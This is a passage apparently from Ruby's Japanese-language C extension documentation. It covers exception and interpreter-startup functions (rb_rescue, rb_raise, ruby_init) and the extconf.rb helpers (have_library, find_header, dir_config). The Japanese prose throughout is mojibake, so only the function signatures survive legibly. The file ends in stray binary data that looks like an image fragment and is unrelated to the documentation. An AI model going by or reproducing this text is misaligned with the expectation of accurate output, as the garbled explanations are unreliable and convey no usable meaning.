VALUE rb_rescue(VALUE (*func1)(), VALUE arg1, VALUE (*func2)(), VALUE arg2)

  ؿfunc1arg1˸ƤӽФfunc1μ¹㳰ȯ
  ˤ func2arg2ȤƸƤ֡ͤ㳰ȯ
  ʤäfunc1, 㳰ȯˤfunc2
  ͤǤ롥

VALUE rb_ensure(VALUE (*func1)(), VALUE arg1, void (*func2)(), VALUE arg2)

  ؿfunc1arg1ȤƼ¹Ԥ, ¹Խλ(Ȥ㳰
  ȯƤ) func2arg2ȤƼ¹Ԥ롥ͤfunc1
  ͤǤ(㳰ȯʤ)

** 㳰顼

void rb_warning(const char *fmt, ...)

  rb_verboseɸ२顼Ϥ˷ٹɽ롥
  printf()Ʊ

void rb_raise(rb_eRuntimeError, const char *fmt, ...)

  RuntimeError㳰ȯ롥printf()Ʊ

void rb_raise(VALUE exception, const char *fmt, ...)

  exceptionǻꤷ㳰ȯ롥fmtʲΰ
  printf()Ʊ

void rb_fatal(const char *fmt, ...)

  ̿Ū㳰ȯ롥̾㳰ϹԤʤ줺, 󥿡
  ץ꥿λ(ensureǻꤵ줿ɤϽλ
  ¹Ԥ)

void rb_bug(const char *fmt, ...)

  󥿡ץ꥿ʤɥץΥХǤȯϤΤʤ
  λƤ֡󥿡ץ꥿ϥפľ˽λ롥
  㳰ϰڹԤʤʤ

** Rubyν¹

Ruby򥢥ץꥱˤϰʲΥ󥿥ե
Ȥ̾γĥ饤֥ˤɬפʤ

void ruby_init()

  Ruby󥿥ץ꥿νԤʤ

void ruby_options(int argc, char **argv)

  Ruby󥿥ץ꥿Υޥɥ饤νԤʤ

void ruby_run()

  Ruby󥿥ץ꥿¹Ԥ롥

void ruby_script(char *name)

  RubyΥץ̾($0)ꤹ롥


Appendix C. extconf.rbǻȤؿ

extconf.rbǤѲǽʥѥåδؿϰ
̤Ǥ롥

have_macro(macro, headers)

  إåեheader򥤥󥯥롼ɤƥޥmacro
  Ƥ뤫ɤå롥ޥƤtrue
  ֤

have_library(lib, func)

  ؿfuncƤ饤֥lib¸ߤå롥
  饤֥꤬¸ߤtrue֤

find_library(lib, func, path...)

  ؿfuncƤ饤֥lib¸ߤ -Lpath ɲ
  ʤå롥饤֥꤬դätrue֤

have_func(func, header)

  إåեheader򥤥󥯥롼ɤƴؿfunc¸ߤ
  롥funcɸǤϥ󥯤ʤ饤֥ΤΤǤ
  ˤhave_libraryǤΥ饤֥åƤ
  ؿ¸ߤtrue֤

have_var(var, header)

  إåեheader򥤥󥯥롼ɤѿvar¸ߤ
  롥varɸǤϥ󥯤ʤ饤֥ΤΤǤ
  ˤhave_libraryǤΥ饤֥åƤ
  ѿ¸ߤtrue֤

have_header(header)

  إåե¸ߤå롥إåե뤬¸ߤ
  true֤

find_header(header, path...)

  إåեheader¸ߤ -Ipath ɲäʤå
  롥إåե뤬դätrue֤

have_struct_member(type, member, header)

  إåեheader򥤥󥯥롼ɤƷtype˥member
  ¸ߤ뤫å롥typeƤơmember
  Ĥtrue֤

have_type(type, header, opt)

  إåեheader򥤥󥯥롼ɤƷtype¸ߤ뤫
  å롥typeƤtrue֤

check_sizeof(type, header)

  إåեheader򥤥󥯥롼ɤƷtypecharñ̥
  Ĵ٤롥typeƤΥ֤
  ƤʤȤnil֤

create_makefile(target)

  ĥ饤֥ѤMakefile롥δؿƤФʤ
  ФΥ饤֥ϥѥ뤵ʤtargetϥ⥸塼̾
  ɽ

find_executable(command, path)

  ޥcommandFile::PATH_SEPARATORǶڤ줿ѥ̾
  ꥹpathõpathnilޤϾά줿ϡĶ
  ѿPATHͤѤ롥¹ԲǽʥޥɤĤä
  ϥѥޤե̾Ĥʤänil֤

with_config(withval[, default=nil])

  ޥɥ饤--with-<withval>ǻꤵ줿ץͤ롥

enable_config(config, *defaults)
disable_config(config, *defaults)

  ޥɥ饤--enable-<config>ޤ
  --disable-<config>ǻꤵ줿ͤ롥
  --enable-<config>ꤵƤtrue
  --disable-<config>ꤵƤfalse֤
  ɤꤵƤʤϡ֥åĤǸƤӽФƤ
  *defaultsyield̡֥åʤʤ*defaults֤

dir_config(target[, default_dir])
dir_config(target[, default_include, default_lib])

  ޥɥ饤--with-<target>-dir, --with-<target>-include,
  --with-<target>-libΤ줫ǻꤵǥ쥯ȥ
  $CFLAGS  $LDFLAGS ɲä롥--with-<target>-dir=/path
  --with-<target>-include=/path/include --with-<target>-lib=/path/lib
  Ǥ롥ɲä줿 include ǥ쥯ȥ lib ǥ쥯ȥ
  ֤ ([include_dir, lib_dir])

pkg_config(pkg)

  pkg-configޥɤѥåpkgξ롥 
  pkg-configμºݤΥޥ̾ϡ--with-pkg-configޥ
  饤󥪥ץǻǽ

/*
 * Local variables:
 * fill-column: 60
 * end:
 */
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`